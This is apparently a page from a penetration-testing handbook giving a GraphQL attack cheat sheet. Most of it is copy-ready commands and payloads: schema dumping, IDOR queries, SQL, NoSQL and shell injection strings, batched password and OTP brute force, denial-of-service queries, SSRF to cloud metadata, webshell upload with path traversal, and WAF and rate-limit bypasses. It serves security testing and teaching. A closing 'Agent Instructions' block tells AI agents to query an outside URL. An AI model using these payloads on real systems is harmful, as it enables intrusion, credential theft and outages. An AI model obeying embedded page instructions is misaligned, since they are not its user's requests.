# GraphQL Deep Dive

> **Skill Level**: Intermediate to Advanced\
> **Prerequisites**: GraphQL basics, API testing

## Reconnaissance

### Endpoint Discovery

```bash
# Common GraphQL endpoints
/graphql
/graphql/console
/graphql/api
/graphql/graphql
/graphiql
/graphiql.php
/graphiql.js
/graphql.php
/graphql/schema.json
/v1/graphql
/api/graphql
/query
/gql
/playground

# Nuclei template
nuclei -u https://target.com -t graphql-detect.yaml
```

### Introspection Query

```bash
# Full introspection query
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }"}'

# Quick schema dump
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name fields { name } } } }"}'

# Get all queries
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { queryType { fields { name description } } } }"}'

# Get all mutations
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { mutationType { fields { name description } } } }"}'
```

### Tools for Discovery

```bash
# GraphQL Voyager - Schema visualization
# https://github.com/APIs-guru/graphql-voyager

# graphql-cop - Security auditor
# https://github.com/dolevf/graphql-cop
python graphql-cop.py -t https://target.com/graphql

# InQL - Burp extension & CLI
# https://github.com/doyensec/inern
inql -t https://target.com/graphql

# graphw00f - Fingerprinting
# https://github.com/dolevf/graphw00f
python main.py -d -t https://target.com/graphql
```

## Authentication Bypass

### Bypass Introspection Restrictions

```bash
# Try GET requests
curl "https://target.com/graphql?query=\{__schema\{types\{name\}\}\}"

# Add X-Requested-With header
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -H "X-Requested-With: XMLHttpRequest" \
  -d '{"query":"{ __schema { types { name } } }"}'

# Use __type instead of __schema
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __type(name: \"User\") { fields { name } } }"}'

# Field suggestions (if introspection disabled but suggestions enabled)
# Send invalid query and check error message for field suggestions
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ user { asdfasdf } }"}'
# Response: Did you mean "id", "name", "email"?

# Clairvoyance - Recover schema without introspection
# https://github.com/nikitastupin/clairvoyance
python -m clairvoyance -o schema.json https://target.com/graphql
```

### Authorization Flaws

```graphql
# IDOR - Access other users' data
query {
  user(id: "1") {
    id
    email
    password
    creditCard
  }
}

# Test with different IDs
query {
  user(id: "2") { ... }
}

# Access admin-only fields
query {
  user(id: "1") {
    id
    email
    isAdmin
    role
    permissions
  }
}

# Access nested objects
query {
  user(id: "1") {
    orders {
      id
      total
      paymentDetails {
        cardNumber
      }
    }
  }
}
```

## Injection Attacks

### SQL Injection

```graphql
# Basic SQLi in arguments
query {
  user(name: "admin' OR '1'='1") {
    id
    email
  }
}

# Union-based
query {
  user(name: "' UNION SELECT username, password FROM users--") {
    name
    email
  }
}

# In filter arguments
query {
  users(filter: { name_contains: "' OR 1=1--" }) {
    id
    name
  }
}

# In order by
query {
  users(orderBy: "name; DROP TABLE users--") {
    id
  }
}
```

### NoSQL Injection

```graphql
# MongoDB injection
query {
  user(name: "{\"$gt\": \"\"}") {
    id
    email
  }
}

# Regex injection
query {
  users(filter: { name_regex: ".*" }) {
    id
    email
    password
  }
}
```

### OS Command Injection

```graphql
# If backend executes shell commands
mutation {
  exportData(format: "csv; cat /etc/passwd") {
    url
  }
}

mutation {
  generateReport(type: "pdf`whoami`") {
    status
  }
}
```

## Batching Attacks

### Query Batching for Brute Force

```bash
# Array-based batching
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '[
    {"query":"mutation { login(user:\"admin\", pass:\"password1\") { token } }"},
    {"query":"mutation { login(user:\"admin\", pass:\"password2\") { token } }"},
    {"query":"mutation { login(user:\"admin\", pass:\"password3\") { token } }"}
  ]'

# Alias-based batching (single request, multiple operations)
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"mutation { 
    a1: login(user:\"admin\", pass:\"password1\") { token }
    a2: login(user:\"admin\", pass:\"password2\") { token }
    a3: login(user:\"admin\", pass:\"password3\") { token }
  }"}'
```

### OTP/2FA Bypass via Batching

```graphql
# Brute force OTP in single request
mutation {
  v0: verifyOTP(code: "000000") { success }
  v1: verifyOTP(code: "000001") { success }
  v2: verifyOTP(code: "000002") { success }
  # ... continue to 999999
}
```

## Denial of Service

### Recursive Query (Circular References)

```graphql
# If user has friends that are also users
query {
  user(id: "1") {
    friends {
      friends {
        friends {
          friends {
            friends {
              friends {
                # Nest deeper...
                name
              }
            }
          }
        }
      }
    }
  }
}
```

### Field Duplication

```graphql
query {
  users {
    name name name name name name name name name name
    email email email email email email email email email email
    # Repeat many times
  }
}
```

### Batch Query DoS

```bash
# Send thousands of queries in array
# Generate with script
python3 -c "import json; print(json.dumps([{'query':'{ users { name } }'}]*10000))" | \
  curl -X POST https://target.com/graphql \
    -H "Content-Type: application/json" \
    -d @-
```

### Directive Overloading

```graphql
query {
  users @skip(if: false) @skip(if: false) @skip(if: false) @skip(if: false) {
    name
  }
}
```

## SSRF via GraphQL

```graphql
# If there's a URL fetch field
mutation {
  importUrl(url: "http://169.254.169.254/latest/meta-data/") {
    content
  }
}

# File:// protocol
mutation {
  importUrl(url: "file:///etc/passwd") {
    content
  }
}

# Internal services
mutation {
  webhook(url: "http://internal-service:8080/admin") {
    status
  }
}
```

## File Upload Attacks

```bash
# GraphQL multipart request
curl -X POST https://target.com/graphql \
  -H "Content-Type: multipart/form-data" \
  -F 'operations={"query":"mutation($file: Upload!) { uploadFile(file: $file) { url } }","variables":{"file":null}}' \
  -F 'map={"0":["variables.file"]}' \
  -F '0=@malicious.php'

# Test path traversal in filename
-F '0=@shell.php;filename=../../../var/www/html/shell.php'
```

## Subscriptions Attacks

### WebSocket Hijacking

```javascript
// Connect to subscription endpoint
const ws = new WebSocket('wss://target.com/graphql', 'graphql-ws');

ws.onopen = () => {
  // Initialize connection
  ws.send(JSON.stringify({
    type: 'connection_init',
    payload: {}
  }));
  
  // Subscribe to sensitive events
  ws.send(JSON.stringify({
    id: '1',
    type: 'start',
    payload: {
      query: `subscription {
        onUserCreated {
          id
          email
          password
        }
      }`
    }
  }));
};

ws.onmessage = (event) => {
  console.log(JSON.parse(event.data));
};
```

## Tools & Automation

### GraphQL-specific Tools

```bash
# BatchQL - Batched query security testing
# https://github.com/assetnote/batchql
python batchql.py -e https://target.com/graphql

# CrackQL - Brute force via batching
# https://github.com/nicholasaleks/CrackQL
python CrackQL.py -t https://target.com/graphql \
  -q "mutation { login(email: \"VARIABLE\", password: \"PASSWORD\") { token } }" \
  -i usernames.txt

# graphql-path-enum - Find paths to sensitive types
# https://gitlab.com/dee-see/graphql-path-enum
graphql-path-enum -i schema.json -t PrivateData
```

### Burp Suite Integration

```bash
# InQL Scanner extension
# 1. Install from BApp Store
# 2. Send GraphQL request to InQL Scanner
# 3. Analyze schema and generate queries
# 4. Test mutations and subscriptions

# GraphQL Raider extension
# Automatic query modification and testing
```

## Defense Bypass Techniques

### Rate Limiting Bypass

```graphql
# Alias-based batching bypasses per-query rate limits
mutation {
  q1: resetPassword(email: "victim@example.com")
  q2: resetPassword(email: "victim@example.com")
  q3: resetPassword(email: "victim@example.com")
}

# Different operation names
mutation op1 { resetPassword(email: "victim@example.com") }
mutation op2 { resetPassword(email: "victim@example.com") }
```

### WAF Bypass

```bash
# Change Content-Type
Content-Type: application/graphql
Content-Type: text/plain

# Use GET with query parameter
GET /graphql?query={users{name}}

# URL encode
GET /graphql?query=%7Busers%7Bname%7D%7D

# Add spaces/newlines
{"query":"{\n  users\n  {\n    name\n  }\n}"}

# Use fragments
query { 
  ...UserFields 
}
fragment UserFields on Query {
  users { name }
}
```

## Checklist

```markdown
## Reconnaissance
- [ ] Find GraphQL endpoint
- [ ] Test introspection
- [ ] Fingerprint GraphQL implementation
- [ ] Map schema (queries, mutations, subscriptions)

## Authentication/Authorization
- [ ] Test IDOR on object access
- [ ] Test field-level authorization
- [ ] Test mutation authorization
- [ ] Check for sensitive data exposure

## Injection
- [ ] SQL injection in arguments
- [ ] NoSQL injection
- [ ] Command injection
- [ ] SSRF via URL fields

## DoS
- [ ] Test circular queries
- [ ] Test field duplication
- [ ] Test batch query limits
- [ ] Test query depth limits

## Other
- [ ] Batching for brute force
- [ ] File upload attacks
- [ ] Subscription hijacking
- [ ] Rate limiting bypass
```

## Related Topics

* [API Security](/enumeration/web/api-security.md) - REST/gRPC testing
* [SSRF](/enumeration/web/ssrf.md) - Server-side request forgery
* [SQL Injection](/enumeration/web/sqli.md) - Database attacks


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentest-book.com/enumeration/web/graphql-deep.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
